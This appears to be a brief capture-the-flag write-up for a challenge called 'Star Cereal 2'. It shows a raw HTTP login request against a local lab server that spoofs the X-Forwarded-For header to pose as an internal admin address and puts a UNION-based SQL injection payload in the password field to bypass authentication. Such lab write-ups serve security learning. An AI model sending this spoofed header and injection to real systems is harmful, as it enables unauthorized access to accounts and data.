Star Cereal 2
Spoofable client IP address, SQL injection vulnerability
Last updated
<h1>Forbidden</h1>
<p>Only admins allowed to login.</p>X-Forwarded-For: 172.16.2.24<form action="/login.php" method="post">
<div class="form-group">
<label for="email">Email address</label>
<input type="email" class="form-control" id="email" name="email" placeholder="Enter email">
</div>
<div class="form-group">
<label for="pass">Password</label>
<input type="pass" class="form-control" id="pass" name="pass" placeholder="Enter password">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>POST /login.php HTTP/1.1
Host: localhost:55043
X-Forwarded-For: 172.16.2.24
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
email=test&pass=test' UNION SELECT 'test', 'test';#